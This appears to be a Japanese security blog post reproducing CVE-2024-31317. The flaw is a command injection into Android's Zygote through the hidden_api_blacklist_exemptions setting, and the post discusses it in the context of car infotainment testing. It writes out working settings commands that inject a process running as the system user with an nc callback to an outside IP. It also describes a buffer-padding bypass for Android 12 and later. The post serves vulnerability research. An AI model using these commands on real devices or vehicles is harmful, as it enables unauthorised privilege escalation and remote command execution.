
CVE-2024-31317
先日、JDの公式アカウントがCVE-2024-31317の脆弱性分析記事を公開しました。一読して非常に興味深く、またカーインフォテインメントシステムの現在の主流であるAndroidがすべてこの脆弱性の影響範囲内にあるため、再現を試みることにしました。
ユーザー空間での権限昇格であるため、事前に対応するユーザー権限を取得する必要があります。そのため、コネクテッドカーシナリオでは一定の制約が存在します。現在の主流の対策は、未署名のAPKインストールを制限し、エンジニアリングモードやADBを直接使用できないようにすることです。しかし、他の脆弱性やテクニックと組み合わせれば依然として有効です。System権限で多くのことが可能だからです。なお、本脆弱性を利用するにはWRITE_SECURE_SETTINGS権限が必要です。デフォルトではADBがこの権限を持っており、エンジニアリングモード取得後に権限昇格に利用するのは非常に便利です。ADBを直接使用できない場合は、他の脆弱性と組み合わせる必要があります。
本脆弱性はコマンドインジェクションであり、解析自体は難しくありませんが、解析前にZygoteについて理解しておく必要があります。Zygoteはデーモンプロセスとして動作し、forkによってアプリケーションプロセスを作成し、/dev/socket/zygote上のUNIXソケットコマンドを受け付けます。各コマンドは10進数の数字で始まり、その後にその数字に対応する数の引数が続きます。
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
diff/pathファイルを見ると、改行コメントを追加する変更が加えられています。これは、古いバージョンでは改行を使ってコマンドインジェクションを行い、新しいプロセスを起動できることを裏付けています。
この関数の呼び出し元をさらに追跡すると、最初のHIDDEN_API_BLACKLIST_EXEMPTIONS値の読み取りから後続のすべての受け渡しに至るまで、フィルタリング処理が一切行われていないことがわかります。つまり、任意のパラメータを直接注入できる可能性があります。
そのため、HIDDEN_API_BLACKLIST_EXEMPTIONSの値を制御できれば、任意のパラメータを注入できるのは自然な発想です。前述の通り、この値を設定するにはWRITE_SECURE_SETTINGS権限が必要です。ADBはデフォルトでこの権限を持っているため、システム標準のsettingsコマンドでsettings put global hidden_api_blacklist_exemptions commandを実行するだけで済みます。そこで、以下のような方法で新しいプロセスの注入を試みることができます。
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
8
--runtime-args
--setuid=1000
--setgid=1000
--nice-name=com.android.settings
--app-data-dir=/data/user/0/com.android.settings
--package-name=com.android.settings
--seinfo=platform:system_app:targetSdkVersion=29:complete
android.app.ActivityThread"
しかし、これでは要件を満たせず、コマンドを実行することはできません。解析の結果、invokeWithパラメータを使用するとコマンド実行が可能であることがわかりました。
では次に、以下のようなコマンドを構築すればよいことになります。
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
6
--runtime-args
--setuid=1000
--setgid=1000
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
この時点では正常にトリガーされず、logcatを確認すると以下のメッセージが返ってきて、デバッグモードが必要であることがわかります。では、どのようにしてデバッグを有効にするのでしょうか?
コードをさらに確認すると、起動時にruntime-flagsパラメータが存在し、デバッグ属性を設定することがわかります。
設定可能なパラメータは以下の通りです。
したがって、起動時にこのパラメータを追加し、すべてのデバッグ属性を有効にすればよいのです。修正後のコマンドは以下の通りです。
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
7
--runtime-args
--setuid=1000
--setgid=1000
--runtime-flags=43267
--invoke-with
nc 192.168.0.112 9981;
--seinfo=platform:system_app:targetSdkVersion=29:complete"
実行後、ncがネットワークリクエストを正常にキャプチャしました。

Android 11以下では上記の方法で簡単に悪用できますが、Android 12以降ではGoogleが高速パスのC++コマンドパーサーを実装し、ZygoteのJavaコマンドパーサーを強化しました。新しいクラスNativeCommandBufferを使ってこの処理を行います。NativeCommandBufferはすべてのコマンドラインを解析した後、残りの内容をすべて破棄し、ソケットから次のコマンドを再度読み取ります。つまり、コマンドインジェクションで2つのコマンドを送り込んでも、注入した内容が破棄され、インジェクションが発生しなくなります。そこで、最初のread()呼び出しをバイパスする方法が必要です。ここでは主に原著者の手法を参考に、末尾に大量のカンマを挿入することで、maybeSetApiDenylistExemptions()が書き込み後にループに多くの時間を費やし、時間間隔を増加させます。このロジックは、maybeSetApiDenylistExemptions()がstate.mZygoteOutputWriter.write()を複数回呼び出すものの、これらの呼び出しはソケット書き込みに直接マッピングされないことに基づいています。なぜならmZygoteOutputWriterはBufferedWriterを継承しており、内部バッファのデータを基礎となる転送に書き込む前に集約するからです。このメカニズムにより、適切な遅延を伴う2回のソケット書き込みを発行する既成の方法が提供されます。
BufferedWriterのバッファサイズは8192バイトで、Zygoteのバッファよりもはるかに小さくなっています。悪意のあるコマンドを注入する前に、このバッファを8192バイトまで埋めるだけで、BufferedWriterにまずこれらのデータを強制的に書き込ませることができます。
本来ならこの記事はずっと前に書くべきでしたが、忙しくて忘れていました😷 また、ZhuWangコンテストではこの脆弱性で結構な点数を獲得しました。最近、ちょうどAndroid搭載カーインフォテインメントシステムを使ったテストプロジェクトがあり、途中まで書いていたこのブログを思い出し、まだ覚えているうちに急いで記録しました。また、この脆弱性の再現にあたり、flanker氏に多大なご支援をいただき、多くの落とし穴を避けられたことに深く感謝申し上げます。